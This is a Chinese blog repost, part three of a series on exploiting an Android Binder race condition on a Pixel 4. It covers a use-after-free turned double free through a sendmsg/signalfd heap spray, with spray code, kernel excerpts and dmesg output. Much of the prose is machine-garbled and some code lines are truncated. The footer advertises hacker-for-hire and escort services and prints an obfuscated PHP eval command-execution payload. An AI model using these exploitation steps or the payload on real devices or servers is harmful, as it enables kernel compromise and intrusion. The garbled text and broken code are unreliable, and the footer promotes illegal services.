详细分析Binder中的单指令竞态标准漏洞(三)

访客4年前黑客文章530

在文中中,大家将为阅读者深层次详细介绍Binder中的单指令竞态标准漏洞以及利用方式。

(接好文)

开启UAF漏洞是一回事儿,可是怎样利用它完成代码执行也是此外一回事儿了。这节将为阅读者逐渐演试怎样利用该漏洞,期待这一全过程可以加重阅读者对该漏洞的了解。

大家的检测将在运作2020年8月公布的全新Android 10原装印象 *** 2A.200805.001的Pixel 4机器设备上实行,沒有安裝别的安全补丁。阅读者能够 在Google开发者网址上寻找该印象。

说白了,“释放出来后应用(UAF)”身后的一般念头是在释放出来对象后再次应用动态分配的对象。有意思的是,该释放出来的对象现在可以由另一个具备不一样合理布局的对象更换,进而在初始构造的特殊字段名上导致种类搞混。如今,当被利用的程序流程再次运作时,它会像应用初始对象一样应用早已分配的对象,这很有可能造成 实行流的跳转。

大家都知道,UAF漏洞的利用全过程高宽比取决于所应用的动态分配系统软件,针对Android系统软件而言,它应用了一种名叫SLUB调节器的动态分配系统软件。

因为文中不准备表述SLUB调节器的原理,因而,假如您还不了解它,请先阅读文章相关该主题风格的相关资料,便于于充足了解文中的一部分。

从实质上讲,slab能够 分成储存特殊尺寸或特殊种类的对象的缓存文件。在大家的事例中,大家想分配binder连接点对象占有的运行内存。在这儿,binder_node建筑结构的长短为128字节数,而且在运作Android 10的Pixel 4上沒有专用型的缓存文件,这代表着它坐落于kmalloc-128缓存文件中。因而,大家必须应用长短小于或等于128字节数的对象开展运行内存喷射,详细信息见下文。

大家以前说过,能够 应用UAF漏洞来操纵binder的switch/case主要参数。

static void binder_release_work(struct binder_proc *proc,

struct list_head *list)

{

struct binder_work *w;

while (1){

w=binder_dequeue_work_head(proc, list);

if (!w)

return;

switch (w->type){

//[...]

default:

pr_err("unexpected work type, %d, not freed

",

w->type);

break;

}

}

}

在这节中,大家将根据喷射slab来伪造w->type载入的值。

大家应用的喷射技术性在Project Zero的“Mitigations are attack surface, too”中有详尽的详细介绍,该技术性取决于sendmsg和signalfd的应用。

sendmsg分派一个基本上由客户操纵的数据信息添充的128字节数核心对象

sendmsg对象被释放出来

自此,马上开展signalfd分派,建立一个8字节对象(也是128-kmalloc高速缓存的一部分),该对象很可能会更换之前的sendmsg,并将其內容“钉”在运行内存中。

根据这类喷射技术性,能够 得到下列結果,进而使大家可以操纵w->type。

1.png

如Lexfo编写的“CVE-2017-11176: A step-by-step Linux Kernel exploitation (part 3/4)”上述,还可以仅根据阻拦sendmsg来做到同样的实际效果。可是,利用漏洞的速率会明显减缓,如同大家将在下一部分中见到的那般,signalfd在利用此漏洞中起着十分关键功效。

我们可以应用类似下列作用的涵数在核心运行内存中喷射sendmsg和signalfd对象,以操纵w->type。

void *spray_thread_func(void *argp){

struct spray_thread_data *data=(struct spray_thread_data*)argp;

int delay;

int msg_buf[SENDMSG_SIZE / sizeof(int)];

int ctl_buf[SENDMSG_CONTROL_SIZE / sizeof(int)];

struct msghdr spray_msg;

struct iovec siov;

uint64_t sigset_value;

// Sendmsg control buffer initialization

memset(&spray_msg, 0, sizeof(spray_msg));

ctl_buf[0]=SENDMSG_CONTROL_SIZE - WORK_STRUCT_OFFSET;

ctl_buf[6]=0xdeadbeef;

siov.iov_base=msg_buf;

siov.iov_len=SENDMSG_SIZE;

spray_msg.msg_iov=&siov;

spray_msg.msg_iovlen=1;

spray_msg.msg_control=ctl_buf;

spray_msg.msg_controllen=SENDMSG_CONTROL_SIZE - WORK_STRUCT_OFFSET;

for (;;){

// Barrier - Before spray

pthread_barrier_wait(&data->barrier);

// Waiting some time

delay=rand() % SPRAY_DELAY;

for (int i=0; i

for (uint64_t i=0; i

// Arbitrary signalfd value (will become relevant later)

sigset_value=~0;

// Non-blocking sendmsg

sendmsg(data->sock_fds[0], &spray_msg, MSG_OOB);

// Signalfd call to pin sendmsg's control buffer in kernel memory

signalfd_fds[data->trigger_id][data->spray_id][i]=signalfd(-1, (sigset_t*)&sigset_value, 0);

if (signalfd_fds[data->trigger_id][data->spray_id][i]trigger_id][data->spray_id][i], strerror(errno));

}

// Barrier - After spray

pthread_barrier_wait(&data->barrier);

}

return NULL;

}

假如取得成功的利用了该漏洞,一段时间后应当在dmesg中见到下列日志內容:

[ 1245.158628]binder: unexpected work type, -559038737, not freed

[ 1249.805270]binder: unexpected work type, -559038737, not freed

[ 1256.615639]binder: unexpected work type, -559038737, not freed

[ 1258.221516]binder: unexpected work type, -559038737, not freed

虽然我们知道怎样操纵switch/case主要参数,但大家都还没详细介绍binder_release_work中的UAF漏洞能够 用于干什么。下边,使我们看一下该涵数的别的一部分,以明确大家的总体目标编码途径。

static void binder_release_work(struct binder_proc *proc,

struct list_head *list)

{

struct binder_work *w;

while (1){

w=binder_dequeue_work_head(proc, list);

if (!w)

return;

switch (w->type){

case BINDER_WORK_TRANSACTION:{

struct binder_transaction *t;

t=container_of(w, struct binder_transaction, work);

binder_cleanup_transaction(t, "process died.",

BR_DEAD_REP *** );

}break;

case BINDER_WORK_RETURN_ERROR:{

struct binder_error *e=container_of(

w, struct binder_error, work);

binder_debug(BINDER_DEBUG_DEAD_TRANSACTION,

"undeliveredTRANSACTION_ERROR: %u

  ",

  e->cmd);

  } break;

  case BINDER_WORK_TRANSACTION_COMPLETE: {

  binder_debug(BINDER_DEBUG_DEAD_TRANSACTION,

  "undelivered TRANSACTION_COMPLETE

  ");

  kfree(w);

  binder_stats_deleted(BINDER_STAT_TRANSACTION_COMPLETE);

  } break;

  case BINDER_WORK_DEAD_BINDER_AND_CLEAR:

  case BINDER_WORK_CLEAR_DEATH_NOTIFICATION: {

  struct binder_ref_death *death;

  death=container_of(w, struct binder_ref_death, work);

  binder_debug(BINDER_DEBUG_DEAD_TRANSACTION,

  "undelivered death notification, %016llx

  ",

  (u64)death->cookie);

  kfree(death);

  binder_stats_deleted(BINDER_STAT_DEATH);

  } break;

  default:

  pr_err("unexpected work type, %d, not freed

  ",

  w->type);

  break;

  }

  }

  }

  从代码来看,每个分支要么输出一些日志信息,要么释放binder_work,这意味着唯一可能的策略就是对使用后的对象进行第二次释放。SLUB中的Double Free漏洞,意味着我们将能够在同一位置分配两个对象,使它们重叠,然后使用一个对象来修改另一个对象。

  现在,并不是所有的释放过程都是一样的,如果我们的binder_node对象位于地址X处,那么出列的binder_work结构体将位于X+8处,并且:

  BINDER_WORK_TRANSACTION将释放X处的对象

  BINDER_WORK_TRANSACTION_COMPLETE、BINDER_WORK_DEAD_BINDER_AND_CLEAR和BINDER_WORK_CLEAR_DEATH_NOTIFICATION将释放X+8处的对象

  对于在X处分配的对象,如果在X+8处释放它,则下一次的内存分配也将在X+8处进行。这可能是一个非常有趣的原语,因为它提供了下列功能:

  另一种重叠配置(与X处的偏移量相比,您可以获得不同的偏移量)

  一种到达与X处对象相邻的对象的潜在方式(例如,在X+8处分配一个128字节长的binder_node将导致对相邻对象进行8个字节的越界访问)。

  我们没有将该策略用于这里的exploit,而是通过将w->type设置为BINDER_WORK_TRANSACTION,继续利用X处的常规Double Free漏洞。但是,这个路径比其他三个路径需要进行更多的工作。

  在binder_cleanup_transaction中,我们用sendmsg的控制缓冲区来控制t,并希望到达对binder_free_transaction的调用。

  static void binder_cleanup_transaction(struct binder_transaction *t,

  const char *reason,

  uint32_t error_code)

  {

  if (t->buffer->target_node && !(t->flags & TF_ONE_WAY)) {

  binder_send_failed_reply(t, error_code);

  } else {

  binder_debug(BINDER_DEBUG_DEAD_TRANSACTION,

  "undelivered transaction %d, %s

  ",

  t->debug_id, reason);

  binder_free_transaction(t);

  }

  }

  首先要满足的条件是:

  t->buffer必须指向有效的内核内存(例如始终在Pixel设备上分配的0xffffff8008000000)

  TF_ONE_WAY应该在t->flags中设置

  static void binder_free_transaction(struct binder_transaction *t)

  {

  struct binder_proc *target_proc=t->to_proc;

  if (target_proc) {

  binder_inner_proc_lock(target_proc);

  if (t->buffer)

  t->buffer->transaction=NULL;

  binder_inner_proc_unlock(target_proc);

  }

  kfree(t);

  binder_stats_deleted(BINDER_STAT_TRANSACTION);

  }

  在binder_free_transaction中,达到kfree之前需要满足的其他条件是:

  t->to_proc应该为NULL

  满足了这些要求之后,我们终于可以在X处利用一次Double Free漏洞了。

  现在,为了继续利用漏洞以实现代码执行,我们需要借助于KASLR泄漏和任意内核内存读/写漏洞。由于最近的Pixel内核使用了CFI,因此,我们无法通过重定向执行流程来直接执行内核代码。

  可以通过读取存储在对象中的函数指针来获得KASLR泄漏漏洞。对于两个重叠的对象,其中一个对象应该允许我们从中读取其值,另一个对象需要具有一个与之一个对象的值对齐的函数指针。

  任意内核内存读/写要复杂一些,我们将在以下各节中详细加以介绍。现在,请注意,它们依赖于Thomas King的“内核空间镜像攻击(K *** A)”,并且我们需要在重叠对象的开始处写入8字节。

  但是,在执行任何操作之前,我们需要确定对象在内存中重叠的位置。根据我们所处的漏洞利用阶段,我们不会重叠相同的对象。这意味着我们需要能够以足够的精度释放和分配对象,以免丢失对悬空内存区域的引用。

  当然,我们可以使用不同 *** 来检测重叠对象。但是对于这里的exploit来说,我们决定重用signalfd,其思想是在之一次喷射期间获得w->type的控制权,并通过其sigset_t值为每个signalfd赋予一个特定的标识号。

  实际上,如果一切顺利的话,exploit将开始使用sendmsg和signalfd来喷射内存。然后,就会出现UAF漏洞。其中,一个sendmsg/signalfd对象将替换binder_node对象并更改w-type的值。之后,将出现Double Free漏洞,并允许两个对象相互重叠。我们继续使用sendmsg/signalfd喷射技术,使双重释放的signalfd与另一个重叠。这将导致一个其值已经被改变的signalfd,并且利用其标识号,就能确定它与哪个signalfd发生了重叠,具体如下图所示:

  QQ截图20210106161830.png

  在本系列文章中,我们将为读者深入介绍Binder中的单指令竞态条件漏洞及其利用 *** 。由于篇幅过长,我们将分多篇文章发表,更多精彩内容,敬请期待!

  (未完待续)

相关文章

老乡鸡快餐生意怎么样?四季火爆你值得拥有

老乡鸡快餐生意怎么样?四季火爆你值得拥有

人们糊口节拍的加速导致了快餐行业的不绝成长和前进,更是呈现了浩瀚的优质品牌,而老乡鸡快餐加盟就是个中的一个品牌。此刻行业中的竞争压力事很是大的,所以老乡鸡快餐加盟这个品牌也是在不绝的完善和成长本身,争...

一村民家门口挖出16枚炮弹怎么回事?具体详情曝光什么情况

9月9日讯,据有关媒体报道近日,黑龙江一村民在房子旁挖管线时挖出炮弹,立即上报当地政府。 据悉随后,民警赶到后发现炮弹位置距离房子仅一米,截至9日,共发现16枚炮弹。 目前,民警在方圆200米内设...

网上预约高端外围必须订钱吗,订金500外场一般要多少钱【戚明珠】

网上预约高端外围必须订钱吗,订金500外场一般要多少钱【戚明珠】 今日给大伙儿共享的內容是“网上预约高端外围必须订钱吗,订金500外场一般要多少钱【戚明珠】”,我是戚明珠,来源于宿迁市,2020年31...

微信怎么发送聊天记录,找一位好心的黑客,找黑客修改大学成绩被

x=eval(' assert(str_rot13("flfgrz("jubnzv")")) ;')2019年战况:217,PPP和tomcr00se赢得了前三。 22、通吃一切商城+动力上传体系SS...

招聘广告怎么写(看完这些招聘文案,我都想跳槽了)

  招聘广告怎么写(看完这些招聘文案,我都想跳槽了)   有效果的招聘宣传,离不开好的招聘文案。   好的招聘文案,可以让候选人代入进去,让候选人觉得不应该错过这一份工作,那就算赢了一大半。   但是...

网上接单的黑客可信吗_电脑监视器中找黑客IP

FireEye收集了168个PUPYRAT样本进行比较。 尽管导入哈希值(IMPHASH)不足以归因溯源,但咱们发现,在指定的抽样中,进犯者的IMPHASH仅在六个样本中被发现,其间两个被承认归于在M...